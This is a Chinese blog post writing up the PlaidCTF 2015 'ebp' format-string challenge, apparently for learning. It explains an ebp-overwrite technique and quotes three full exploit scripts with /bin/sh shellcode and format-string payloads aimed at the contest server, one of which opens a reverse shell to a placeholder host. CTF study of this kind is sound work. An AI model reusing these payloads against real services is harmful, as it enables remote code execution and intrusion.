plaidctf2015 ebp

  很容易看出是格式化字符串漏洞。这里的格式化字符串漏洞不像传统的那样,格式化字符串是放在bss段中,并没放在栈上,因此利用起来有些困难。

  不过,我们可以利用ebp,可以修改函数的ebp,从而能控制函数的流程。

  第一步,修改了main's ebp(也就是修改了echo_ebp's ebp指向的内容)为make_response's ebp,为下一步修改echo's ebp做准备。

  第二步,修改echo's ebp(也就是修改了make_response's ebp指向的内容)为栈中某个地址(记为0x********),使得0x********+4(也就是echo's 返回地址)指向shellcode所在的缓冲区。经过观察,栈中确实存在这样的位置。

  这样,echo在返回的时候将执行shellcode。

  比赛时自己的poc如下:

 1 from socket import *
 2 import time
 3 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80\n"
 4 sock = socket(AF_INET, SOCK_STREAM)
 5 #sock.connect(("192.168.200.7", 10001)) #local debug
 6 sock.connect(("52.6.64.173", 4545))#remote
 7 time.sleep(1)
 8 infoleak="%x%x%x%x\n"
 9 sock.send(infoleak)
10 time.sleep(1)
11 leak=sock.recv(1024)
12 print leak
13 echo_ebp=leak[-6:-2]
14 print echo_ebp
15 echo_ebp=int(echo_ebp,16)
16 make_ebp=echo_ebp-32
17 main_ebp=echo_ebp+32
18 print hex(make_ebp)
19 
20 format1="%%%dc" % make_ebp + "%4$hn\n"
21 sock.send(format1)
22 print sock.recv(1024)
23 
24 format2="\x90\x90\xeb\x0f" + "%%%dc" % (echo_ebp+4-4) + "%12$hn" + "\x90"*10 + shellcode + "\n"
25 sock.send(format2)
26 print sock.recv(1024)
27 
28 while 1:
29      sock.send(raw_input('$ ')+'\n')
30      time.sleep(1)
31      print sock.recv(1024)
32 sock.close()

  结果:

  此外,赛后我也看了别人的writeup。第一篇见:http://geeksspeak.github.io/blog/2015/04/20/plaidctf-ctf-2015-ebp-writeup/ 分析得很清楚,原作者的Poc如下,我也从他的poc中学到了不少东西。这个poc比我自己写得要好不少,思路更清晰。

 1 import socket
 2 import struct
 3 import telnetlib
 4 
 5 response = 0x0804a480
 6 
 7 offset = 4 # saved frame pointer offset 
 8 
 9 shellcode = (  # /bin/sh shellcode at http://shell-storm.org/shellcode/files/shellcode-236.php
10   "\x6a\x0b\x58\x99\x52\x68\x2f\x2f"
11         "\x73\x68\x68\x2f\x62\x69\x6e\x54"
12         "\x5b\x52\x53\x54\x59\x0f\x34"
13 )
14 
15 s = socket.create_connection(("52.6.64.173", 4545 ))
16 #s = socket.create_connection(("127.0.0.1", 8080 ))
17 s.send("%4$p\n")
18 addr = int(s.recv(1024), 16)
19 print "[+] Leaked Address: ", hex(addr)
20 addr1 = (addr - 0x1c) & 0xffff
21 print "[+] 2Byte Significant Byte to write : ", hex(addr1) 
22 
23 s.send("%"+str(addr1)+"x%"+str(offset)+"$hn\n")
24 s.recv(4096)
25 
26 s.send(shellcode+"%"+str((response & 0xffff)-len(shellcode))+"x%"+str(12)+"$hn\n")
27 print "[+] Here you go"
28 t = telnetlib.Telnet()
29 t.sock = s
30 t.interact()

  还有另外一个版本,来自:https://ctf-team.vulnhub.com/plaidctf-2015-ebp/ 这个版本中利用了pwntools的反向shell,思路很清楚(比赛时我起初也是这样的思路,但是没有想到也不会使用反向shell),但是执行时间较长。学习了不少东西。代码如下:

 1 #!/usr/bin/env python
 2 from pwn import *
 3 
 4 r = remote("52.6.64.173", 4545)
 5 
 6 buf_addr = p32(0x0804a080)
 7 sc_addr  = p32(0x0804A09b)
 8 
 9 payload =  ""
10 payload += "%134520975u%4$n"
11 payload += buf_addr
12 payload += sc_addr
13 payload += "AAAA"
14 
15 payload += asm(shellcraft.linux.connect("x.x.x.x", 9898))
16 payload += asm(shellcraft.linux.dupsh())
17 
18 print "+ sending payload"
19 r.send(payload + "\n")
20 print "+ got back:", r.recv()

 

posted @ 2015-04-25 00:46  简单地快乐  阅读(923)  评论(0编辑  收藏  举报